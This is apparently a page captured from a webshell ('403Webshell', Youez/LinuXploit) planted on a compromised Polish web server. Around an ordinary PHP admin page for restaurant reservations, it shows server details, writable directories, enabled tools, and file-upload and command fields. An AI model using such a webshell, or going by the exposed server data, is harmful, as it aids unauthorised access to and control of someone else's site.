403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/reservation.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
require_login();
ensure_reservations_schema();

$id = (int)($_GET['id'] ?? $_POST['id'] ?? 0);
$reservation = reservation_by_id($id);

if (!$reservation) {
    http_response_code(404);
    exit('Nie znaleziono rezerwacji.');
}

$currentUser = admin_user();
$canManageReservation = in_array(($currentUser['role'] ?? ''), ['admin', 'editor', 'manager'], true);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!$canManageReservation) {
        http_response_code(403);
        exit('Konto kelnera ma tylko podgląd rezerwacji.');
    }
    verify_csrf();

    $action = (string)($_POST['action'] ?? '');
    $user = admin_user();
    $adminId = $user ? (int)$user['id'] : null;

    try {
        if ($action === 'status') {
            $status = (string)($_POST['status'] ?? '');
            reservation_change_status($id, $status, $adminId);

            flash('success', 'Status rezerwacji został zmieniony.');
            redirect('/admin/reservation.php?id=' . $id);
        }

        if ($action === 'note') {
            $note = trim((string)($_POST['internal_note'] ?? ''));

            $stmt = db()->prepare('UPDATE reservations SET internal_note = ? WHERE id = ?');
            $stmt->execute([$note !== '' ? $note : null, $id]);

            reservation_add_event(
                $id,
                'note',
                'Zaktualizowano notatkę wewnętrzną.',
                $adminId
            );

            flash('success', 'Notatka została zapisana.');
            redirect('/admin/reservation.php?id=' . $id);
        }

        if ($action === 'resend_received') {
            reservation_send_guest_message($reservation, 'received');
            flash('success', 'Wiadomość została wysłana ponownie.');
            redirect('/admin/reservation.php?id=' . $id);
        }
    } catch (Throwable $e) {
        flash('error', $e->getMessage());
        redirect('/admin/reservation.php?id=' . $id);
    }
}

$reservation = reservation_by_id($id);
$events = reservation_events($id);

render_admin_header('Rezerwacja ' . reservation_display_code((string)$reservation['reservation_code']));
?>
<div class="admin-title-row">
    <div>
        <h1><?= e(reservation_display_code((string)$reservation['reservation_code'])) ?></h1>
        <p>
            <?= e((new DateTimeImmutable($reservation['reservation_date']))->format('d.m.Y')) ?>
            o <?= e(substr((string)$reservation['reservation_time'], 0, 5)) ?>
            · <?= (int)$reservation['guests'] ?> os.
        </p>
    </div>

    <a class="btn btn-light" href="/admin/reservations.php">← Wszystkie rezerwacje</a>
</div>

<div class="reservation-admin-grid">
    <section class="card">
        <div class="reservation-detail-status">
            <span class="reservation-status reservation-status-<?= e($reservation['status']) ?>">
                <?= e(reservation_status_label($reservation['status'])) ?>
            </span>
        </div>

        <h2><?= e($reservation['guest_name']) ?></h2>

        <div class="reservation-detail-list">
            <div><strong>Telefon:</strong> <a href="tel:<?= e(preg_replace('/\s+/', '', $reservation['phone'])) ?>"><?= e($reservation['phone']) ?></a></div>
            <div><strong>E-mail:</strong> <a href="mailto:<?= e($reservation['email']) ?>"><?= e($reservation['email']) ?></a></div>
            <div><strong>Data:</strong> <?= e((new DateTimeImmutable($reservation['reservation_date']))->format('d.m.Y')) ?></div>
            <div><strong>Godzina:</strong> <?= e(substr((string)$reservation['reservation_time'], 0, 5)) ?></div>
            <div><strong>Liczba osób:</strong> <?= (int)$reservation['guests'] ?></div>
            <div><strong>Wysłano:</strong> <?= e((new DateTimeImmutable($reservation['created_at']))->format('d.m.Y H:i')) ?></div>
        </div>

        <?php if (!empty($reservation['notes'])): ?>
            <div class="reservation-guest-notes">
                <strong>Uwagi gościa</strong>
                <p><?= nl2br(e($reservation['notes'])) ?></p>
            </div>
        <?php endif; ?>
    </section>

    <section class="card">
        <h2>Decyzja</h2>

        <?php if (!$canManageReservation): ?>
            <p class="muted">
                Konto kelnera ma podgląd rezerwacji. Potwierdzanie, odrzucanie i anulowanie jest dostępne dla administratora/redaktora.
            </p>
        <?php else: ?>
            <p class="muted">Zmiana statusu na potwierdzony / odrzucony / anulowany wysyła wiadomość do gościa, jeśli SMTP jest włączony.</p>

        <div class="reservation-action-grid">
            <form method="post">
                <?= csrf_field() ?>
                <input type="hidden" name="id" value="<?= $id ?>">
                <input type="hidden" name="action" value="status">
                <input type="hidden" name="status" value="confirmed">
                <button class="btn btn-green" type="submit">Potwierdź</button>
            </form>

            <form method="post">
                <?= csrf_field() ?>
                <input type="hidden" name="id" value="<?= $id ?>">
                <input type="hidden" name="action" value="status">
                <input type="hidden" name="status" value="rejected">
                <button class="btn btn-danger" type="submit">Brak miejsca</button>
            </form>

            <form method="post">
                <?= csrf_field() ?>
                <input type="hidden" name="id" value="<?= $id ?>">
                <input type="hidden" name="action" value="status">
                <input type="hidden" name="status" value="cancelled">
                <button class="btn btn-light" type="submit">Anuluj</button>
            </form>

            <form method="post">
                <?= csrf_field() ?>
                <input type="hidden" name="id" value="<?= $id ?>">
                <input type="hidden" name="action" value="status">
                <input type="hidden" name="status" value="completed">
                <button class="btn btn-light" type="submit">Zrealizowana</button>
            </form>
        </div>

        <form method="post" style="margin-top:20px">
            <?= csrf_field() ?>
            <input type="hidden" name="id" value="<?= $id ?>">
            <input type="hidden" name="action" value="resend_received">
            <button class="btn btn-light" type="submit">Wyślij ponownie „otrzymaliśmy prośbę”</button>
        </form>
        <?php endif; ?>
    </section>
</div>

<?php if ($canManageReservation): ?>
<div class="reservation-admin-grid" style="margin-top:20px">
    <section class="card">
        <h2>Notatka wewnętrzna</h2>

        <form method="post">
            <?= csrf_field() ?>
            <input type="hidden" name="id" value="<?= $id ?>">
            <input type="hidden" name="action" value="note">

            <textarea name="internal_note" rows="8" style="width:100%"><?= e($reservation['internal_note'] ?? '') ?></textarea>

            <div style="margin-top:12px">
                <button class="btn btn-primary" type="submit">Zapisz notatkę</button>
            </div>
        </form>
    </section>

    <section class="card">
        <h2>Historia</h2>

        <div class="reservation-events">
            <?php if (!$events): ?>
                <p class="muted">Brak historii.</p>
            <?php endif; ?>

            <?php foreach ($events as $event): ?>
                <div class="reservation-event">
                    <div class="reservation-event-time">
                        <?= e((new DateTimeImmutable($event['created_at']))->format('d.m.Y H:i')) ?>
                    </div>
                    <strong><?= e($event['event_type']) ?></strong>
                    <?php if (!empty($event['message'])): ?>
                        <p><?= e($event['message']) ?></p>
                    <?php endif; ?>
                    <?php if (!empty($event['admin_name']) || !empty($event['admin_username'])): ?>
                        <small><?= e($event['admin_name'] ?: $event['admin_username']) ?></small>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
    </section>
</div>
<?php endif; ?>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit